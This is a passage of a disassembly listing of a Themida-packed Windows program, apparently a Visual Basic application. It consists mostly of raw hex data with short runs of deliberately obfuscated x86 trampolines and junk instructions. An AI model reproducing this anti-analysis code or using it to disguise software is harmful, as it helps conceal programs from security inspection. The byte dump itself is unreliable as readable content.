100h, 43h dup(0) dd 0A26D8497h, 0EE69F033h, 9 dup(0) dd 0E9000000h, 104Eh, 1A43B568h, 1E7E906h, 0CB68FFFBh dd 0E9061A44h, 0FFFB01DDh, 1A464A68h, 1D3E906h, 0F968FFFBh dd 0E9061A46h, 0FFFB01C9h, 1A484468h, 1BFE906h, 0D68FFFBh dd 0E9061A49h, 0FFFB01B5h, 1A49FE68h, 1ABE906h, 8868FFFBh dd 0E9061A4Ah, 0FFFB01A1h, 1A4B7268h, 197E906h, 0EF68FFFBh dd 0E9061A4Bh, 0FFFB018Dh, 1A4CCD68h, 183E906h, 0A768FFFBh dd 0E9061A4Dh, 0FFFB0179h, 1A4E6768h, 16FE906h, 7068FFFBh dd 0E9061A4Fh, 0FFFB0165h, 1A506968h, 15BE906h, 254FFFBh dd 0A1F676ADh, 488DDB08h, 0EF2EBED5h, 95C705B2h, 4582ED1Ah dd 3261BA1Ah, 96CD5EB2h, 7F940556h, 0C572B1E1h, 2C122829h dd 743981C3h, 38667DE0h, 0ACEA82FBh, 0D1E91677h, 336781EBh dd 0AF016B7h, 96336782h, 79CE4AE4h, 6AC30814h, 0BBD1B1F3h dd 748A8B88h, 35739263h, 831075E7h, 63E7369Dh, 7B918163h dd 73CB4F39h, 543F4368h, 5BF58Dh, 48D40000h, 21AC9409h dd 7BDAD98Ah, 0A23873A5h, 30593972h, 0E6CCF213h, 0BA336781h dd 733848C8h, 0F35738Fh, 988D2071h, 56C7BEE8h, 0E5C6BDF8h dd 0E763D03Bh, 7C7EFDDFh, 0F74FC339h, 0FB06D929h, 0AD900D40h dd 3B914FFFh, 543A40CDh, 2C397C69h, 3D72D6B2h, 0FF8D54FBh dd 0FDh, 0FB386672h, 0D24F829Ah, 2859396Bh, 8B2275ABh dd 0B472D692h, 0FCE21864h, 84336781h, 0ABC5B8EAh, 3F51346Bh dd 331340DFh, 336785FFh, 0A3D04F8Fh, 0C7BEF525h, 0C4FA2A45h dd 336785DEh, 4C316AAEh, 0E610C21Ch, 9D765F67h, 7A143573h dd 0DEC4FA1Bh, 0A2397B9Dh, 8DFF5030h, 497FDD2h, 54316321h dd 77A6E937h, 7B9D290Fh, 8B8F7939h, 7ADB4562h, 6F232327h dd 133B8542h, 0CF91D963h, 0B2ECB772h, 256AB2D3h, 42928CF4h dd 0B61E043Ah, 0F0623369h, 0F02C1146h, 0B0EB21A2h, 0E56D9FCDh dd 744D93Bh, 87167D6Ch, 0BB175757h, 15CCCA09h, 0E75E26A9h dd 0D9137h, 207FD300h, 8F1E75F3h, 68C50858h, 316CAD3Bh dd 99124282h, 99C6076Ah, 314FE437h, 0D51340DBh, 6CFC2B82h dd 0AC42F12Eh, 0C4AF95ADh, 7BF33981h, 0E53666F6h, 6FE03E4Eh dd 2677DC2Fh, 6AD30D3Fh, 306DA03Eh, 0B6ED1F4Dh, 42789965h dd 3367815Ch, 0BCCE4A24h, 0B5858083h, 99ED5A5Fh, 6891F123h dd 73DA8D52h, 1A7B1535h, 0C6DFC5FDh, 0E2A3397Bh, 7BC6F6DCh dd 0AED88A39h, 41239BAAh, 0F397BC6h, 3A8B38Bh, 0B58D5458h dd 0D5h, 0F9386638h, 121C9F18h, 0E4FCE830h, 4F23A106h dd 0E27AE31Dh, 8E0479B2h, 33678F5Ah, 9C1343DDh, 2C1228A9h dd 7433678Eh, 3EE8689Ah, 0D41443E0h, 0B4342986h, 9CBD989Bh dd 8E61477Fh, 0ACD23367h, 33678EC6h, 0DE28DAh, 222650CDh dd 73A63922h, 467C5935h, 397B9660h, 775D6520h, 0B397B96h dd 80D12F59h, 0DE08382Dh, 8784B7A9h, 3ADF8086h, 1DA33B85h dd 4BCA64B7h, 0FB2883D5h, 53F02B6Dh, 26A86C6Bh, 7BA866DFh dd 0AD00000Ch, 4F9DCA69h, 0E2629108h, 87C572AFh, 5CACDB56h dd 0E974A3FCh, 8E21732Ch, 6AC50B59h, 3D6CAF3Dh, 9B184686h dd 0ABD3B26Ch, 3981C5C5h, 66D459DDh, 8498E536h, 0DA0F556h dd 5A3E6818h, 0F83767E5h, 0D34E839Dh, 0E55A3E6Ah, 50879934h dd 5C2464D9h, 261F94C2h, 0AAAB0856h, 0A8E8645Ch, 55863667h dd 0C83F1B92h, 5D383B54h, 1E71F3Ch, 81336841h, 365373D7h dd 0FC357440h, 62BA1B02h, 6B9BFF34h, 397C3F89h, 72A64657h dd 326CBF15h, 579CB256h, 8D54D11Ah, 6282h, 0D98A1700h dd 12437BDAh, 0F0357398h, 6EBE1F06h, 0DD8FF62Bh, 976B4D75h dd 0DD71397Bh, 452D4289h, 3CEF8D54h, 0AE000000h, 7403FE50h dd 4C34BC04h, 0DAD98A81h, 0AB66437Bh, 0B22C3573h, 83D24ACBh dd 0E85DCE02h, 55170EB8h, 0ABF3D5EDh, 55F9397Bh, 3CB5FA01h dd 4AD28D54h, 0F3B19405h, 7C397h, 0D8560000h, 8CBh, 568799D5h dd 124D7FDBh, 940E3411h, 0E7357DC0h, 4CC6C417h, 0FE5A1402h dd 6840B02Ch, 96B6A2F2h, 3BA98FB7h, 0FF93982h, 6EAC70DDh dd 14428231h, 5BC25DB3h, 1A86FF29h, 0D3EB6A69h, 3B9879BCh dd 0AF2C9646h, 99556BD2h, 0E03EEE6Fh, 0F52B1443h, 0C1A7DF9Fh dd 0C1336804h, 839DE517h, 0AF71DC53h, 2E57336Eh, 838281B2h dd 74354E7Bh, 21763435h, 27395E88h, 3B20966Bh, 0AFC0CCAh dd 0EA2C0000h, 89CE1EB5h, 3065E310h, 0D70646FDh, 7DDF2D5Ah dd 0AD6AF522h, 0DA09A2F2h, 0BED5468Ah, 7BCED2Eh, 0ED1A99F9h dd 442A5031h, 5C3981C7h, 9E8055D8h, 2336780h, 0CBF35251h dd 357DC321h, 50C90A12h, 41DBBFEDh, 530C6097h, 4BCDF550h dd 0DF3B9803h, 9EFC202Dh, 4492D201h, 5ABE6EEFh, 0C04041C1h dd 91A99497h, 357DC082h, 0D2F3520Ch, 0BFA78DB5h, 0BFB3981h dd 0B88275C6h, 1672AC32h, 0E855CA08h, 0AFFE55CBh, 827DD1B7h dd 2327D139h, 0E13E9CECh, 7D22067Ch, 0D586B982h, 0E64F77D6h dd 0A4BB8E96h, 36B18DCAh, 40B5A69Ch, 0A4D92h, 0E43B9F00h dd 43DA314Fh, 2C81D414h, 0F52869F7h, 5DCE0E5Eh, 257ABB26h dd 0FD0BB8F3h, 91EF0497h, 28B8EF3Eh, 601EB5EAh, 0C7F3D9E1h dd 0A78F3981h, 0DAD98A3Ah, 4ABE8B7Bh, 0B11EB39Ah, 958BA8D1h dd 3474E944h, 2D8A344Ch, 5C0E357Eh, 0B0EF2FF1h, 9ACC3A03h dd 3F8330DAh, 8BCB553Dh, 968BE816h, 0AD33AE4Dh, 9E87316Ch dd 13727122h, 98A365EBh, 203FD3Bh, 1165BC1Ah, 52EC1B99h dd 0D9275C8Eh, 0D2433A79h, 8C1B7864h, 3D6FD647h, 4FD29781h dd 8586B1CBh, 7D639BB8h, 9336826h, 0B0F055C8h, 0ADCCB426h dd 7E66CE95h, 0E5022335h, 8266F7DDh, 65D98B39h, 3982667Fh dd 3BF15103h, 667E649Ah, 50023982h, 268D7424h, 8731826Bh dd 0FB386686h, 41DE3C4Ch, 9D8466DCh, 4BE43981h, 0C7B5CD48h dd 0CB3B97DDh, 0B2E03C19h, 5886C67Dh, 0B5E662DBh, 42A7F8B4h dd 0EC1E84CAh, 7CDC4061h, 267DDD23h, 0FD050D3Fh, 357E807Bh dd 2F05D0Fh, 0D59FD8C7h, 98A9A988h, 36A1CB3Bh, 4776D927h dd 0C7FCEF74h, 7B7E174h, 0F9A6F7h, 2822269Bh, 0E9117C7Fh dd 3B8E2AD0h, 947A80A1h, 0EC337605h, 6A041672h, 9C99A72Dh dd 2CEA5B26h, 902h, 4B3F022h, 0E91E8FC4h, 4CFB369Bh, 1340DD3Ch dd 0FB2883D5h, 0A8E8B770h, 4C80C077h, 0F324A4D3h, 9FFF0DBAh dd 5A3BD300h, 81C93E24h, 67EA4239h, 82FB3866h, 0E77ACEAh dd 0B2D36B4Fh, 7298CF64h, 8740133Dh, 0CFFh, 87997200h dd 1179D950h, 53Fh, 3CFBC19Ch, 0A73ACE0h, 97C0FA5Eh, 81593F47h dd 0BF293367h, 13E3000Dh, 0AC5687A2h, 9F19D2ABh, 41E73F6Fh dd 2EC7FF5Bh, 0EC3573D9h, 0F0A81C72h, 6CE68097h, 2D553033h dd 0A9343A8h, 0AC92A8C9h, 0F406733Bh, 1E48E136h, 0F76E03Ah dd 64E1E29Dh, 3A202647h, 4606733Bh, 8494AC94h, 8087CB4h dd 0F121FF5Eh, 97C705B2h, 5B6BFB18h, 269F518Eh, 839E8h dd 88276B00h, 57C60D5Bh, 306DA020h, 99144583h, 61BA1A6Ah dd 316EAF32h, 0C9174CDFh, 6DFB2883h, 444F32Ah, 742A59D6h dd 0CB07ED15h, 939B3981h, 4A9992Eh, 689480CBh, 0FC5AC44Ch dd 6EAEBEA7h, 0F9AA863Dh, 0A3639BFAh, 2F357DE4h, 0E472586Eh dd 5C0E3981h, 1A022322h, 765A67B6h, 973E346h, 6DAD7BDFh dd 86C95736h, 8CDC3317h, 0EF6CD14Eh, 7C8D841Fh, 2622980Ah dd 1D787B14h, 98745FE5h, 7AA2E33Bh, 0E1A39A17h dd 6873977Dh, 79B0E733h, 28957FEFh, 236167ABh, 886E94F1h dd 183367B9h, 0CF513C6Eh, 40DB3D88h, 157D2F16h, 90B6D7F4h dd 3367B9AAh, 48E528F6h, 128BC01Eh, 0A6AAE836h, 67B9BAA0h dd 0FA14C633h, 0DC4F859Bh, 6AC51769h, 307B1F3h, 1C2243CCh dd 3367B936h, 6EB8984Ah, 0F28AF330h, 90CA09A2h, 9226AAE5h dd 748F323h, 36980000h, 0D53A4AF9h, 7CD12F44h, 2372F221h dd 0C90B598Eh, 71BE2156h, 6BDEE2Eh, 0EA1992C6h, 0B3E0399Ah dd 194EE535h, 0F8DEE465h, 883981CAh, 0D98A39A4h, 7B8B7BDAh dd 71805D54h, 4B739AFEh, 357DC9C5h, 7AA2A35Dh, 6686871Ch dd 0A699F932h, 851447D9h, 1489CCA0h, 95C17331h, 9DC16E3Bh dd 0D34D3502h, 0CB392C83h, 84BA9B98h, 3B8E0F57h, 0FDA07AC8h dd 4F3667A8h, 0A8BAE11Dh, 0C0B268E8h, 9C615F83h, 0A472E326h dd 6BEh, 0C077ACEEh, 0A5D24B80h, 8BFF227h, 0EF0499F8h dd 0B7EC3F91h, 64B4EB34h, 84C9CCBh, 0AFE06097h, 5BBBC97Eh dd 9EFFAFC4h, 81CB8268h, 0AB161E39h, 9AFB3866h, 28AA72ACh dd 56FF7613h, 0CAFA6A23h, 5D64EC1Eh, 0E95CD303h, 0CBFA4CA6h dd 829148Bh, 67F30CF2h, 9EFA9433h, 0A04C61A9h, 7CC8740h dd 61000000h, 2E6D8h, 3866D500h, 0B1582FBh, 0B3F154CBh dd 898AA5D7h, 0C0F0768Ch, 8670357Dh, 0E5389987h, 55A5AA9Dh dd 0AB587434h, 0D34D3530h, 0D8392C83h, 909D83BBh, 0BE53981h dd 40BF110Fh, 34639D12h, 2E142A4Bh, 72398190h, 0D98A8080h dd 0A0437BDAh, 623B97D0h, 0A87495F0h, 0D14FCB64h, 0E3C9F181h dd 0BF3367D0h, 0E46493CDh, 680479B6h, 128EF728h, 0DBE36261h dd 3573DABEh, 0FF6DAA44h, 432096D8h, 5D404D2h, 0C2140000h dd 61B6366Dh, 84D9BC8h, 0AFEE7E95h, 5587C572h, 8542ADDAh dd 0F2217ADAh, 568D1E72h, 3F54C516h, 853271A1h, 6C5268E9h dd 343981CCh, 3866BD20h, 0ACEA82FBh, 8BAF55Bh, 85147B15h dd 1687CCA0h, 0C8178AC8h, 0A7A04855h, 0E88FF620h, 9A312C02h dd 8A256BB5h, 3554EA8Eh, 0F1194EE5h, 874100BCh, 77Ch, 69D8F100h dd 0D5000001h, 5CFB3866h, 26AB1D44h, 576FAF26h, 89000005h dd 2BB9EE45h, 0CE1EB5E4h, 63E1168Bh, 3848FF32h, 0CD1047D8h dd 0A2FD5F00h, 0EA1F775h, 0D1488BD9h, 0BFF422A2h, 0CFF75608h dd 3981CCE9h, 66C8B5B9h, 2980D738h, 0A7F67434h, 8D7DD80Ah dd 4A7AD562h, 0EED56C96h, 9E618737h, 60FC050Dh, 0F488FD32h dd 7D130AA3h, 3F9C811Ch, 67B02107h, 94F76133h, 0F60558EEh dd 0DB3B4A1Ch, 0C6EB2F44h, 7687405Dh, 0Dh, 0DED8FBh, 0D8D50000h dd 0D8h, 568799D5h, 820CF208h, 0FA943367h, 0B397D548h dd 83EEE99h, 33678122h, 0F3528C7Eh, 0D7B3EA2Dh, 0C10A90B6h dd 0E496357Dh, 0DA558799h, 0AAC5477Eh, 0BF8FACA9h, 99944E1Ch dd 900F4F26h, 0C54DFFADh, 8DE40CBDh, 0D6EC0D3Bh, 3375E3F0h dd 0A842C6B0h, 0BB17993Eh, 7AEB269Ch, 4795Ch, 0C867AB00h dd 97064D9Bh, 70ADE060h, 0D95485C3h, 0A1FA5AAAh, 712EEF72h dd 9578C1Fh, 0AD3B68C3h, 4484336Ah, 0B46A9916h, 0CDC7ADD5h dd 53DB3981h, 9D98AEEh, 0F26AC517h, 3367820Ch, 3838F894h dd 683C4C7Ah, 60818C3Eh, 5AC35CBCh, 0B1A2A2Eh, 0B7357443h dd 0D80AA9E9h, 336EA37Dh, 0BCC1A284h, 8DCD397Bh, 0A3E93716h dd 0C469DC08h, 3D7B2581h, 2F62E255h, 0FF4B8BF2h, 46000003h dd 854AA999h, 0EB3581CAh, 501075A4h, 7F282226h, 63E9117Ch dd 0FF357EA4h, 0BE1C000Dh, 8B289D63h, 6F99A4BDh, 3D6EDAEBh dd 3D6FC412h, 250B3350h, 7D398235h, 0DC7B0881h, 8F3994BFh dd 0F545628Bh, 0BE67D855h, 379AE0A3h, 41C183FAh, 8DEE9041h dd 4380723Bh, 269CADB7h, 9F3CDA4Bh, 0C1000003h, 63E1168Dh dd 646FD2Ch, 0DB295ED3h, 70F0277Ah, 15588F20h, 0EA4597C8h dd 0B6E92FBDh, 1990C301h, 0E73C9AEAh, 87BF9EB0h, 3981CEA1h dd 8A800DE1h, 437BDAD9h, 357DC0C9h, 7F659DBAh, 33981C2h dd 493BF151h, 0AD0250CCh, 0BA8F676h, 6DBE120Ah, 0B9C848F8h dd 1D033B58h, 653981C2h, 74CA5B8Bh, 0EDA922Eh, 4447F00Ah dd 83BBD8F9h, 3981E59Dh, 0F70F0BE5h, 3B9823E0h, 7495F062h dd 4F3768A8h, 3367DC69h, 0A2CB4F39h, 0FD851C7Ah, 138AC16Eh dd 810E95E3h, 72A02057h, 0AFD8483Dh, 8C7212AEh, 3666E566h dd 0C6CE0A80h, 6DE81A7Ch, 73C62855h, 0DB78EA35h, 2096F965h dd 0DF8E4CB9h, 1000002h, 0A32156CDh, 46863D6Ch, 1B699E13h dd 0B03067BAh, 5598CF60h, 2A85D788h, 0F6296FFDh, 59D00341h dd 277CDA2Ah, 477FDEF0h, 3981CF61h, 9940CD21h, 7FDB5687h dd 4B3271A1h, 0F94CE535h, 0B5D95104h, 0D448FF29h, 0A5DDB8BBh dd 3573F694h, 69E14436h, 397BF587h, 666DC155h, 8D54A349h dd 41F3h, 0D98A6600h, 130AA7F6h, 20262751h, 35738F5Bh dd 1A90F567h, 397B8F38h, 0A39A1344h, 311487CDh, 1B56E84Ah dd 0D2B89687h, 9E1B50A7h, 0F549ED55h, 5480C1EEh, 0FB5ECE8Dh dd 858DBFA6h, 0B9D1h, 38664400h, 362F82D7h, 9A6F40Ah, 6EAE7EDFh dd 502C553Dh, 0E63AD00h, 0A0E40239h, 21710F76h, 863069AEh dd 1291C19Fh, 71ACED33h, 3F45C0Ch, 67A7EF23h, 0E03F9F33h dd 4EE535B3h, 393A55D7h, 0CC15265Ch, 0DBB53573h, 8487B0ACh dd 293881B9h, 0A85A3B85h, 8E2173ADh, 56C90B59h, 0A8787131h dd 9240B526h, 1D6h, 386FC416h, 9DCA63A8h, 60970A4Fh, 0C77CB1E0h dd 0AFC457B9h, 7CDC834Ch, 2074F423h, 0C708588Fh, 73A32156h dd 76D7873Ch, 81D06A50h, 0B33E3639h, 0D9508799h, 1E6DAF79h dd 3D3460B9h, 42078DCDh, 0EE7E95C7h, 0A1273B0h, 91EF56CBh dd 0D5BDEF3Eh, 0D98AB162h, 7E437BDAh, 0F735738Fh, 0C949E429h dd 0D7468D53h, 9D80326Eh, 7B8F4325h, 0E3000939h, 7B8FF5DBh dd 77D38D39h, 3B707BD3h, 0FD8D5421h, 0B5h, 0FB386670h dd 71AAEA82h, 56C70814h, 0F26BC408h, 22B3D2B6h, 0BD7FFD4h dd 96F273D8h, 67883A6Eh, 1F94C233h, 0C93A98E8h, 5B352883h dd 0F674A6F9h, 64D90BA8h, 0CD484BE4h, 73ACA4B5h, 0A4BD535h dd 8F79B397h, 0E63B9E8Eh, 0F245CD7Fh, 6FEEED9Eh, 5DC05BB1h dd 225CD303h, 53FF0726h, 373B8547h, 0F424F845h, 9CFC0CBBh dd 975AC403h, 79EC26A8h, 0DD59h, 54CB0F00h, 336AA13Fh dd 9C114484h, 65B81967h, 0CD5EBECEh, 0D58A4B96h, 6DFB2883h dd 15FF427h, 0D8285FCEh, 0D08E257Ah, 0D1634971h, 373F3981h dd 0E536664Ah, 0DF508498h, 0E95E3A66h, 4FE43B9Bh, 0FB386662h dd 0A4ACEA82h, 6781B89Eh, 0EC1EC833h, 85AAC5B7h, 0E07ADA53h dd 394BFFFCh, 0CAF05D8Fh, 357DD6B7h, 4EBC994Bh, 7FD02260h dd 221FFE2Eh, 700C351Dh, 16568D22h, 7CF26BC8h, 83B9550Ah dd 0DDE5026Bh, 7C4AA4F7h, 63DA5587h, 5D25D721h, 3664A5B9h dd 806BA8FBh, 0D80AE75Ah, 1C7AA2ABh, 35658387h, 392C7DD2h dd 6B066909h, 0AFD911BDh, 2574087Dh, 9C069588h, 0C45BBBCAh dd 8E0151AFh, 3B69DC4Dh, 13469489h, 4B000000h, 0C8091786h dd 6F991479h, 0F93266F6h, 41DC314Fh, 346674C1h, 0A8F686FFh dd 197A120Bh, 8DC39D80h, 3552B12h, 79DBB5A8h, 0F0213F26h dd 61B4C8BDh, 0D00759CCh, 68B3E459h, 5B8Fh ; --------------------------------------------------------------------------- mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 41C8h mov [esp], edx sub esp, 4 mov [esp], edi mov edi, 4B48653Ch mov eax, 0BAD1DCF6h add eax, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebx mov ebx, eax mov [edx+8], ebx mov ebx, [esp] add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_591F29 ; --------------------------------------------------------------------------- db 4Dh dd 238199BCh, 6BB88F86h, 3061A51h, 0BE0FFC5h, 2F7E774Dh dd 15231E55h, 4F240973h, 8327F617h, 19055F45h, 0C2157FBh dd 4941DDE8h, 0B21ACC94h, 4C6BC1C6h, 0C3162643h, 9D12155Eh dd 6F4EF53Fh, 8C52A79Fh, 910840AAh, 365940CCh, 0FC4B897Ah dd 3552AE7h, 8D6B2EAEh, 1A52E68Dh, 89D1B706h, 142B698Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 5E4B90Dh, 0C7633CF0h, 14105585h, 6D7806h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0FF811DACh, 12FDBD8Bh, 85C70614h, 614013Dh dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5E2E4B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E2E4B proc near ; CODE XREF: Themida_:005E2E43p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5E2E4B endp ; --------------------------------------------------------------------------- movsd mov ah, 0D4h dec eax sub byte ptr [eax-6B2209h], 0B5h or eax, 89061408h mov ebp, 6140DFDh call dword ptr [ebp+6140BD9h] sbb di, 9AACh push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5E2EFF ; --------------------------------------------------------------------------- db 0FAh dd 0F61BCE30h, 2EC3C74Ch, 0A0648069h, 961BAEC4h, 2536D869h dd 21A966F6h, 0A525EFB5h, 0E07B8D15h, 0AC84D7DDh, 2D50EA48h dd 95145223h, 180B0A37h, 0CC87BEEEh, 0C41E5F50h, 6388631Ch dd 993E69D4h, 1D424CA3h, 7961CAC7h, 50A3BD68h, 0D761808Ch dd 0A32C2638h, 59E76E71h, 6C64FC31h, 6D3BA0C1h, 0B5F5EF05h dd 7EBC3C5Bh, 0C45F566Eh, 8ED8D18Fh, 7625B61Bh db 50h, 59h, 64h ; --------------------------------------------------------------------------- loc_5E2EFF: ; CODE XREF: Themida_:005E2E85j lea ecx, [ebp+61A5406h] push 0 push esi call sub_5E2F10 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E2F10 proc near ; CODE XREF: Themida_:005E2F08p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5E2F10 endp ; --------------------------------------------------------------------------- mov al, ds:4E5BAF5Ah popf mov word ptr [ecx+1415519Dh], cs push es mov [ebp+6142B69h], ecx mov eax, 48C32B28h mov dword ptr [ebp+6141055h], 58E4h push edx pusha mov ah, 0DCh jl $+6 popa pop esi mov dword ptr [ebp+614013Dh], 0 jmp loc_5E2F63 ; --------------------------------------------------------------------------- db 0CDh, 0E8h, 80h db 0ADh, 0C5h, 79h ; --------------------------------------------------------------------------- loc_5E2F63: ; CODE XREF: Themida_:005E2F58j push dword ptr [ebp+61404B1h] push 0 push edx call sub_5E2F74 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E2F74 proc near ; CODE XREF: Themida_:005E2F6Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5E2F74 endp ; --------------------------------------------------------------------------- dd 7B2A9B04h, 8BFA71B7h, 140AE59Dh, 0D995FF06h, 6606140Bh dd 6A3D64BEh, 7195FF00h, 8B061429h, 657CEBC0h, 76DE8A23h dd 927E18BBh, 7D83D3C8h, 3B9CFB63h, 0C0D46CA9h, 3D65FCC0h dd 995766CCh, 483CA71Ah, 0B1B6DF9Ah, 652B610Ch, 0FC4550B2h dd 307FC7B8h, 24EF4E9Dh, 0DCDFC059h, 0A99E8C06h, 0A0B61C09h dd 461E11E6h, 39688575h, 35EDA838h, 91656871h, 0F9EB58CDh dd 9D1E36B3h, 0F52A359Ch, 0DCCC5382h, 4D4B967Dh, 2EDF82C9h dd 0DA59EE4Dh, 51C5152Dh, 11E7F684h, 0FB6A5A2Dh, 0E8392BA5h dd 11h, 34CFD25Eh, 655C1E67h, 24ADF95Dh, 41107FE7h, 0E1E381D3h dd 5E3587BEh, 0C681FE8Bh, 5B0Eh, 85335760h, 6140F31h, 0DC09B95Bh dd 33610A9Ch, 0AD9D89C9h, 8B06141Eh, 9D030E14h, 6141F49h dd 9B68C281h, 0CE90925h, 0DF000000h, 0E270AD8Dh, 3898B35Bh dd 810ACC81h, 54F988EAh, 0E27ABB19h, 0F2816D8Fh, 37141FCEh dd 0E6DBD31h, 0F520614h, 68Ah, 399D2900h, 8F061430h, 858B0E04h dd 61423B9h, 83C0BF0Fh, 0E28A04E9h, 0A5B0F981h, 850FFFFFh dd 18h, 23E9DF8Bh, 0D1000000h, 0EB15F3BFh, 0BA12D944h dd 0B5AA0CE4h, 0BB880B1Ah, 29698D89h, 7CE90614h, 3AFFFFFFh dd 0A2DFE6B6h, 5EE98D19h, 0E7000001h, 0DD0CA985h, 437C8360h dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh dd 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 align 4 dd 1B3DE900h, 0AC680000h, 0E9061A58h, 0FFFA2A20h, 1A59A968h dd 2A16E906h, 0A468FFFAh, 0E9061A5Ah, 0FFFA2A0Ch, 1A5B7868h dd 2A02E906h, 0B768FFFAh, 0E9061A5Bh, 0FFFA29F8h, 1A5C6C68h dd 29EEE906h, 0BF68FFFAh, 0E9061A5Ch, 0FFFA29E4h, 1A5D0668h dd 29DAE906h, 0A868FFFAh, 0E9061A64h, 0FFFA29D0h, 1A656768h dd 29C6E906h, 1268FFFAh, 0E9061A66h, 0FFFA29BCh, 1A66C968h dd 29B2E906h, 3C68FFFAh, 0E9061A67h, 0FFFA29A8h, 1A681368h dd 299EE906h, 0B568FFFAh, 0E9061A68h, 0FFFA2994h, 1A695D68h dd 298AE906h, 2068FFFAh, 0E9061A6Fh, 0FFFA2980h, 1A6FF468h dd 2976E906h, 8E68FFFAh, 0E9061A70h, 0FFFA296Ch, 74B8F313h dd 5FA3DAEBh, 44C8C5C0h, 32F6ADDBh, 171B96B5h, 0F312A094h dd 0E0ED7ABEh, 0CAC661A5h, 0AADC4BCFh, 0FF422FF3h, 0EAC583BEh dd 70F30055h, 94A4D7E9h, 6778E230h, 79063665h, 0B0D05447h dd 97102B51h, 49DC63DBh, 8CBFF86Bh, 755E483h, 0ADE8E403h dd 8FFB399Dh, 0B32738Bh, 0E955E483h, 25CB076Eh, 0B18BA89Ah dd 3Fh, 1B61807Fh, 346799E0h, 31728004h, 0DC6C66F4h, 0E04DB849h dd 55E49C51h, 0DA489CD2h, 0FF3C1863h, 252959DBh, 47A99415h dd 504B55E4h, 8880FB09h, 1279060Ch, 0A9621AC0h, 0D5A48Bh dd 67700000h, 46053665h, 0F8C44E4Bh, 0BFCE6867h, 0D1AEDEC2h dd 0FF4AEBAFh, 7453F092h, 83DCEC10h, 47060A81h, 53F0972Ch dd 0B9881580h, 3A53F097h, 0FD0FDC56h, 0EB1D8A8Eh, 0C5C49BB0h dd 27A4AC8h, 396695E3h, 49DC7F1Dh, 166EB296h, 1F8A81F7h dd 8F3003ACh, 0CFB355E4h, 0D7274845h, 0F98F4FCBh, 8415083Ch dd 671E2CBBh, 45CFF357h, 5B22593Dh, 0C044742Fh, 0DBEA7132h dd 772DD454h, 89AD66F6h, 0B6EB1A85h, 3661571h, 6D3FAF63h dd 18A4h, 3CC0BBCBh, 27EBA2A3h, 0C108DB8h, 0FA3E7593h dd 0DF235E6Dh, 0BBCA785Ch, 0A8A542C6h, 92BE29EDh, 72941317h dd 279AF73Bh, 0EACA4B86h, 18BC855h, 0F1356867h, 22595476h dd 5A72295Bh, 806828FEh, 0B054E9CBh, 807CB662h, 0AFDEE061h dd 0CEBFC09Fh, 1A7586AAh, 0C64C4743h, 0DC6C47D7h, 84B49849h dd 0E49C1A25h, 960B3A55h, 0B2ED1966h, 0B7DE3D9Ah, 80977673h dd 0A89AAC72h, 52730A8Bh, 2B5C235Bh, 0DAFE5A72h, 0B3413C4Dh dd 0A930h, 6567FC00h, 0DC6F5321h, 789DAFFCh, 0F024C271h dd 0D9FD4153h, 0F2AFDEA1h, 21305BDAh, 768853F0h, 62640307h dd 5AAB132Bh, 0D7FBB6D5h, 0C0DF7BA4h, 481749DCh, 0CF4B433Ah dd 40C073BCh, 0FF4355E4h, 0C549CD35h, 0E09BB7B6h, 3D4B9A12h dd 255DA10Eh, 72D64FCBh, 382D0B59h, 7386228Eh, 484706A1h dd 3756D155h, 0A563B57Ah, 0AD1D6301h, 17A79Fh, 0C3BECE00h dd 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh, 0CD755FDCh dd 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 0CBB2812Eh dd 823155EAh, 3568671Eh, 595476F1h, 65671FD5h, 92B58421h dd 4ACE53F0h, 37491626h, 21C0C044h, 0AF87205Bh, 0C049DC92h dd 917FCA6Bh, 72B355E4h, 55E491C7h, 8084F85Ch, 72CD6C9Ch dd 9055E491h, 0F9B4D2A9h, 1792BEC1h, 335A21F3h, 0A88BF927h dd 0D7858Bh, 8B130000h, 92AC9F18h, 0BA8553F0h, 50772FA8h dd 3CF65A2Eh, 58A95F16h, 4301E0DEh, 1A3E1F9Fh, 0D9F776E1h dd 116550A2h, 2A49DC4Dh, 0A556D726h, 2014FE4h, 396695E3h dd 937299E9h, 0B1EC1D6Ah, 0E1193D99h, 0E8E76879h, 0F7A91B5h dd 339093AEh, 0E62C10B3h, 19E358C5h, 0E86CA91Ch, 37A8CD3h dd 0D45E60FFh, 0B8CEFEB7h, 912B9A88h, 244811h, 5326B7FFh dd 0DBE94188h, 16ACh, 44C8C3C3h, 2FF3AADBh, 141895B0h dd 2067D8Bh, 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h dd 7A8C1B1Fh, 2F92FF03h, 0EAC8B38Eh, 19833055h, 0DAD3F48Bh dd 3FEC26A2h, 0F66E9E0Dh, 1A297617h, 9953F092h, 3747424Eh dd 139CAFD3h, 53F09220h, 80BBDFA3h, 0DC930F27h, 58DCA049h dd 0A1571E9Ah, 78073440h, 0C93A524Bh, 0F092DD6Ch, 0CEF25653h dd 0C83A7B44h, 4149DC6Bh, 6E2F0CFDh, 